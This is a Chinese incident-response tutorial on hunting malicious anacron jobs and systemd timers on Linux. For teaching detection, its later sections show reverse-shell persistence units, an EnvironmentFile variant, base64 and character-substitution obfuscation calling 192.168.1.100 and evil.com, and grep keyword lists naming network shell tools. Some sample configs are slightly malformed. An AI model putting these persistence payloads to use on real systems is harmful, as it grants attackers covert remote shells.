【应急响应】Linux 计划任务与 DFIR 排查实践(三)

原创 Y1x1n Y1X1n安全 2024年11月29日 07:04

免责声明

本公众号文章中的程序、方法、信息和工具仅用于安全研究、教学、网络安全人员对网站及服务器的检测维护,禁止用于其他非法用途。使用者对不当使用造成的后果承担全部法律及连带责任,作者和公众号不担责。文中安全漏洞情报依公开信息整理,据此行动风险自担,如有侵权请告知。

🔖 在上两节【linux应急响应】Linux 计划任务与 DFIR 排查实践(一)【应急响应】Linux 计划任务与 DFIR 排查实践(二)中,我们深入探讨了 cron 、at服务,从基础排查到隐藏任务的分析排查,这一节我们再一块看看anacron和Systemd Timers服务。

一、anacron 服务

1.1 工作机制

设计用于非全天候运行的系统,保证错过的任务会在系统恢复后运行。

Anacron 会检查每个任务的运行周期和上次运行的时间戳。

如果任务未按计划执行,它将在系统启动后立即补执行任务。

默认配置文件位于 /etc/anacrontab。

/var/spool/anacron/,存储任务状态的目录,它包含的文件记录了最近一次执行每类任务的时间戳。/var/spool/anacron/ 中记录的时间戳对应 PERIOD 字段,确保任务不会重复执行。 

1.2 配置文件示例

PERIOD   DELAY   IDENTIFIER   COMMAND
1        5       cron.daily   run-parts /etc/cron.daily

字段解释:

PERIOD:任务的执行周期,单位为“天”。
1 表示该任务每天执行一次。
如果是 7,则表示任务每周执行一次。
如果是 30,则任务每月执行一次。
DELAY:延迟时间,单位为“分钟”。
表示任务在指定周期触发后,等待多久再执行。
示例中 5 意味着 Anacron 会在系统开机后 5 分钟执行该任务。
IDENTIFIER:任务的标识符(名称)。
用于日志记录和跟踪。
示例中的 cron.daily 是任务的名称,与相关目录 /etc/cron.daily 保持一致。
COMMAND:需要执行的命令。
示例中 run-parts /etc/cron.daily 是一个常用的工具,它会递归执行 /etc/cron.daily 目录中的所有脚本文件。

1.3 常用命令

  1. 查看 anacron 任务列表
grep -v '^#' /etc/anacrontab

显示 /etc/anacrontab 文件中所有非注释的行,即所有 anacron 的任务列表。
2. 编辑 anacron 任务

sudo crontab -e

或者直接编辑 /etc/anacrontab 文件:

sudo nano /etc/anacrontab

用于编辑 anacron 的任务列表。

  1. 手动运行 anacron 任务
sudo anacron -s

以静默模式运行 anacron,不发送邮件报告。

  1. 查看 anacron 日志
grep anacron /var/log/syslog
grep anacron /var/log/messages

1.4 排查方法🎯

检查配置文件

cat /etc/anacrontab
ls -l /etc/cron.{daily,weekly,monthly}

关注点

是否有异常脚本被添加到:/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly。

检查是否有非系统常见任务,如未知文件或脚本。

🔖注:

cron 和 anacron 都使用 /etc/cron./,但处理方式不同:

/etc/cron.hourly/:仅由 cron 调度。

/etc/cron.daily/、/etc/cron.weekly/ 和 /etc/cron.monthly/:可被 cron 和 anacron 使用。

实际归属取决于系统中 cron 和 anacron 的启用情况以及任务调度的时间要求。 

搜索敏感关键词

扫描 anacron 相关目录中的脚本是否包含恶意命令或行为模式:

grep -Ei "(wget|curl|bash|python|nc|perl|sh|ftp|scp|tftp|telnet|openssl|base64|eval|exec|chmod|chown|mkfifo|tcpdump)" /etc/cron.*/* /etc/anacrontab

关键词:涵盖了可能被攻击者用于渗透、反向连接、数据传输或隐藏恶意操作的命令。

查看任务日志:

grep 'anacron' /var/log/syslog   # Ubuntu、Debian 等默认使用
grep 'anacron' /var/log/messages   # CentOS、RHEL 等默认使用

同时:

grep 'anacron' /var/log/syslog /var/log/messages

关注点

是否有异常任务的执行记录。

是否有未知用户触发 anacron。

检查最近的任务修改

确认 anacron 的配置文件或关联任务脚本最近是否被修改过:

find /etc/cron.* /etc/anacrontab -type f -mtime -7 -ls

输出分析

查看是否有任务在短时间内被修改。

对修改过的文件使用 diff 或直接阅读其内容。

验证任务完整性

如果系统支持包验证,可以检查相关配置是否被篡改:

rpm -V cronie-anacron
debsums -c cronie-anacron

二、Systemd Timers

2.1 Systemd Timers介绍

Systemd Timers 是 Linux 系统中基于 systemd 的计划任务管理工具,旨在取代传统的 cron。它通过 systemd 的服务管理机制提供更灵活、更强大的计划任务功能。它通过 .timer 单元文件定义定时任务,并结合 .service 单元文件执行具体的操作。
Systemd Timers 的优点

精确控制:支持秒级调度,并能结合 OnBootSec、OnCalendar 等实现复杂的定时规则。

事件驱动:可根据特定事件(如系统启动后)触发任务。

日志与状态追踪:通过 journalctl 记录任务执行日志。

补执行:支持错过的任务自动补执行(类似 anacron)。

核心组件

.timer 文件:定义任务的调度规则。

.service 文件:定义任务执行的具体操作。

2.2 Systemd Timers 配置及常用命令

1、配置systemd 定时器

配置一个 systemd 定时器涉及创建两个文件:一个是服务单元文件(.service),另一个是定时器单元文件(.timer)。

步骤 1: 创建服务单元文件

创建服务单元文件来定义当定时器触发时要执行的命令。例如,创建一个名为 mytimer.service 的文件:

sudo nano /etc/systemd/system/mytimer.service

在文件中添加以下内容:

[Unit]
Description=My Timer Service

[Service]
Type=oneshot
ExecStart=/usr/bin/echo "Hello, World!" > /tmp/hello.txt

服务执行一个简单的命令,将 "Hello, World!" 写入到 /tmp/hello.txt 文件中。

步骤 2: 创建定时器单元文件

创建定时器单元文件来定义服务的触发频率。例如,创建一个名为 mytimer.timer 的文件:

sudo nano /etc/systemd/system/mytimer.timer

在文件中添加以下内容:

[Unit]
Description=Run mytimer.service every minute

[Timer]
OnCalendar=*-*-* *:0/1:00:00
Persistent=true

[Install]
WantedBy=timers.target

这里,OnCalendar 设置为*-*-* *:0/1:00:00表示每分钟触发一次。Persistent=true 表示如果错过了触发时间,系统会在下次启动时尝试补执行。

步骤 3: 启动定时器并使其在启动时运行

启用并启动定时器:

sudo systemctl enable mytimer.timer
sudo systemctl start mytimer.timer

enable 命令使定时器在系统启动时自动运行,start 命令立即启动定时器。

步骤 4: 检查定时器状态

检查定时器的状态以确认它是否按预期工作:

sudo systemctl status mytimer.timer

步骤 5: 查看定时器日志

查看定时器的日志可以帮助你了解服务是否按计划执行:

sudo journalctl -u mytimer.timer

以上步骤创建了一个简单的定时器,它将每分钟执行一次定义在 mytimer.service 中的命令。你可以根据需要调整 ExecStart 和 OnCalendar 的值来执行不同的命令或设置不同的触发频率。

2、查看所有定时器

systemctl list-timers
# 使用 --all 参数,显示包括未激活的定时器。

输出示例:

NEXT                         LEFT          LAST                         PASSED       UNIT                ACTIVATES
Sun 2024-11-24 18:00:00 UTC  29min left   Sun 2024-11-24 17:00:00 UTC  30min ago    backup.timer        backup.service

3、启动和停止定时器

启动定时器:

sudo systemctl start <timer-name>.timer

停止定时器:

sudo systemctl stop <timer-name>.timer

4、启用和禁用定时器

启用定时器(开机自动启动):

sudo systemctl enable <timer-name>.timer

禁用定时器:

sudo systemctl disable <timer-name>.timer

2.3 攻击者可能的利用方式

# 创建服务文件
[Unit]
Description=Reverse Shell

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'

[Install]
WantedBy=multi-user.target" > /etc/systemd/system/reverse-shell.service

# 创建定时器文件
[Unit]
Description=Trigger Reverse Shell

[Timer]
OnBootSec=1min
Unit=reverse-shell.service

[Install]
WantedBy=timers.target" > /etc/systemd/system/reverse-shell.timer

# 启用并启动定时器
sudo systemctl enable reverse-shell.timer
sudo systemctl start reverse-shell.timer

2.4 排查方法

  1. 检查非标准定时器

列出所有定时器,重点关注用户定义的 .timer

systemctl list-timers --all

注意排查未启用或已禁用但仍存在的定时器。

  1. 排查 .timer 和 .service 文件

检查 /etc/systemd/system/ 和 /usr/lib/systemd/system/ 目录下是否存在可疑文件。通常 /usr/lib/systemd/system/ 存放系统自带的 .service 和 .timer,而 /etc/systemd/system/ 是用户或管理员配置的文件。

重点关注

ExecStart 中是否包含恶意命令。

OnCalendar 是否设置为非常频繁的触发时间。
  1. 检查新建文件

通过文件时间戳找到最近创建或修改的 .timer 和 .service 文件:

find /etc/systemd/system/ /usr/lib/systemd/system/ -type f -name "*.timer" -o -name "*.service" -mtime -7
  1. 检查用户定时器

用户级别的 systemd 定时器,检查用户定时器目录:

ls ~/.config/systemd/user/
  1. 查找关键字显示文件名和匹配行号:
grep -Ein "(curl|wget|bash|python|nc|perl)" /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/* 2>/dev/null

增强版:

grep -Ei "(curl|wget|bash|python|nc|perl|scp|ftp|rsync|tar|gzip|7z|ssh|telnet|socat|base64|eval|exec|nohup)" /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/* 2>/dev/null
  1. 查看文件修改时间:
stat /etc/systemd/system/* /usr/lib/systemd/system/* ~/.config/systemd/user/*

关于 Systemd Timers 的隐藏手法,和上一节 cron 类似,这就简单介绍:

1、文件名混淆

通过选择与系统或常见服务类似的文件名进行伪装 ,如sys-update.timer、kernel-cleanup.timer 或 backup.timer。

加入难以察觉的字符,如使用 Unicode 类似字符(如 sуstem.timer,其中的“у”为西里尔字母)。

2、文件路径隐藏

可能存放在非标准目录中,例如:

用户级别路径:~/.config/systemd/user/

隐藏目录:/etc/.systemd/ 或 /var/.system/

📌排查:

使用 find 命令递归检查可疑路径:

find /etc /usr /var -type f -name "*.timer" -o -name "*.service" -iname ".*"

检查用户目录中的定时器:

ls -la ~/.config/systemd/user/

3、 结合环境变量绕过检测

攻击者可能通过 EnvironmentFile 加载恶意配置文件,或直接在服务中嵌入动态环境变量。例如:

EnvironmentFile=/etc/sysconfig/malicious.env
ExecStart=/bin/bash -c "$CMD"

其中,malicious.env 文件可能包含如下内容:

CMD='bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'

📌排查:

检查定时器或服务文件是否引用外部配置文件。

搜索环境变量的关键字:

grep -Er "EnvironmentFile|Env" \
    /etc/systemd/system/ \
    /usr/lib/systemd/system/ \
    /lib/systemd/system/ \
    ~/.config/systemd/user/ \
    ~/.local/share/systemd/ \
    /var/lib/systemd/ \
    2>/dev/null

4.混淆命令

通过混淆执行命令来绕过关键字检测:

使用 base64 编码

ExecStart=/bin/bash -c "$(echo d2dldCAtTyBodHRwOi8vZXZpbC5jb20gfCAvYmluL2Jhc2ggLWk= | base64 -d)"

利用符号替换

ExecStart=/bin/bash -c "/bin/ba$'\x73'h -i >& /dev/tcp/192.168.1.100/4444 0>&1"

小结

随着我们对 anacron 和 systemd timers 的探讨告一段落,本系列文章也接近尾声。掌握这些计划任务工具的原理和排查方法对于 DFIR 实践至关重要。

posted @ 2024-11-29 12:27  o-O-oO  阅读(1)  评论(0编辑  收藏  举报